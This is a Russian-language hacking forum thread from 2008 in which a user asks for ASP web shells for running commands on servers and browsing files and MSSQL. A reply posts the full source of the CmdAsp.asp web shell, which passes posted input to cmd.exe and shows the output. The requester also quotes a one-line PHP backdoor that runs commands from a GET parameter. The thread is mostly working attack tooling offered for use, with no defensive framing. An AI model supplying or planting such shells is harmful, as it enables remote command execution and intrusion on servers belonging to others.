[ASP] нужен shell

Discussion in 'PHP' started by presidentua, 25 Apr 2008.

  1. presidentua

    presidentua милиционер Античата

    Joined:
    4 Nov 2007
    Messages:
    305
    Likes Received:
    236
    Reputations:
    15
    Подскажите плиз несколько шелов для Asp. Нужен один который будет состоять буквально из одной строчки (чем меньше тем лучше), типа выполнить команду из Get запроса и вывести на экран.

    А также нужен полнофункциональный шелл, с удобной навигацией по каталогам, просмотром файлов, а также в возможность подключения к Mssql.

    ПС: только не нада посылать в ГУГЛ, я уже там был :)
     
  2. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    попробуй...



    <++ CmdAsp.asp ++>
    <%@ Language=VBScript %>
    <%
    ' --------------------o0o--------------------
    ' File: CmdAsp.asp
    ' Author: Maceo <maceo @ dogmile.com>
    ' Release: 2000-12-01
    ' OS: Windows 2000, 4.0 NT
    ' -------------------------------------------

    Dim oScript
    Dim oScriptNet
    Dim oFileSys, oFile
    Dim szCMD, szTempFile

    On Error Resume Next

    ' -- create the COM objects that we will be using -- '
    Set oScript = Server.CreateObject("WSCRIPT.SHELL")
    Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
    Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

    ' -- check for a command that we have posted -- '
    szCMD = Request.Form(".CMD")
    If (szCMD <> "") Then

    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = "C:\" & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

    End If

    %>
    <HTML>
    <BODY>
    <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
    <input type=text name=".CMD" size=45 value="<%= szCMD %>">
    <input type=submit value="Run">
    </FORM>
    <PRE>
    <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
    <br>
    <%
    If (IsObject(oFile)) Then
    ' -- Read the output from our command and remove the temp file -- '
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
    End If
    %>
    </BODY>
    </HTML>
    <-- CmdAsp.asp -->
     
  3. presidentua

    presidentua милиционер Античата

    Joined:
    4 Nov 2007
    Messages:
    305
    Likes Received:
    236
    Reputations:
    15
    Спасибо Zitt. Но может есть поменьше, а то функциональность у него мининимальная, как раз под первый пункт, но слишком все мудренно. Берет сохраняет в файл потом исолняет его... Плюс неизвесно есть возможность сохранить файл на диске С и есть ли там тот каталог. Ну может есть какой-то аналог как на ПХП типа:
    echo `$_GET['cmd']`;

    ??????????
     
    2 people like this.
  4. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    271
    Likes Received:
    65
    Reputations:
    4
    посмотри тут: /threadnav20314-1-10.html
     
  5. presidentua

    presidentua милиционер Античата

    Joined:
    4 Nov 2007
    Messages:
    305
    Likes Received:
    236
    Reputations:
    15
    спасибо Sleep. В теме нашел неплохой файл менеджер.

    Апетиты нарастают :)

    Может кто-то встречал менеджера на АСП для доступа к МССКЛ?